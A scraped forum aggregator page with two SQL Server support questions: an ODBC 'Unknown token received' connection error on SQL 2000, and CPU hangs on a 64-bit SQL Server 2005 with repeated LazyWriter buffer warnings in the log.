I have a client using SQL 2k, SP2 (due application requirements, SP3 is notan option - the application vendor will not specify why). We are receiving:[Microsoft][ODBC SQL Server Driver]Unknown token received from SQL ServerConnection BrokenThere doesn't appear to be any rhyme or reason as to why this is happening.And...it shows it's ugly head at random places during execution. Has anyoneexperienced this also, or have any ideas on what to look for? I have seennumerous suggestions stating to upgrade from MDAC 2.6 to 2.7. At thispoint, I'm not sure if thats an option based on the vendors application(which by the way they no longer support!).Any ideas will be greatly appreciated.Greg

View 1 Replies View Related

Unknown,LazyWriter: Warning

Aug 23, 2007

I don€™t know if this is the case but I need some help. We have itanium server with Microsoft SQL Server 2005 - 9.00.3054.00 (Intel IA-64) Mar 23 2007 18:42:19 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2).


We has had lot of problem with that the sqlserver.exe process hangs 100% cpu. It€™s totally non responsive I€™m not even able to contact the server with DAC. The general solution has been just kill the process. Not nice.


https://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=440746&SiteID=17


The log is full of those
Date,Source,Severity,Message
08/16/2007 09:00:38,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
08/16/2007 08:55:17,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
08/15/2007 13:06:09,spid4s,Unknown,LazyWriter: warning<c/> no free buffers found.
08/14/2007 10:07:08,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
08/09/2007 11:07:29,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
08/06/2007 09:41:13,spid2s,Unknown,LazyWriter: warning<c/> no free buffers found.
08/06/2007 09:14:50,spid2s,Unknown,LazyWriter: warning<c/> no free buffers found.
08/06/2007 08:54:38,spid2s,Unknown,LazyWriter: warning<c/> no free buffers found.
08/06/2007 08:24:59,spid2s,Unknown,LazyWriter: warning<c/> no free buffers found.
08/03/2007 11:09:54,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
08/01/2007 12:30:56,spid2s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/31/2007 10:16:45,spid2s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/30/2007 10:44:22,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/24/2007 01:03:36,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/23/2007 01:02:33,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/16/2007 12:27:52,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/16/2007 12:25:12,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/16/2007 11:54:07,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/16/2007 11:44:16,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/14/2007 01:04:15,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/12/2007 06:18:51,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/12/2007 06:06:49,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/10/2007 13:20:08,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/10/2007 13:10:43,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/09/2007 10:36:27,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/09/2007 10:28:46,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/06/2007 10:12:20,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/06/2007 10:09:39,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/06/2007 10:06:19,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/06/2007 10:01:28,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/06/2007 01:17:08,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/06/2007 01:13:47,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/04/2007 10:41:06,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/03/2007 10:24:24,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
07/03/2007 01:22:44,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.
06/28/2007 01:03:03,spid3s,Unknown,LazyWriter: warning<c/> no free buffers found.


LazyWriter: warning, no free buffers found.



We used to solution to set a fixed as told in the post above and after that the problem went away. At least for the last 4 days.


Is this LazyWriter not fixed in SP2 for itanium or what?

View 5 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved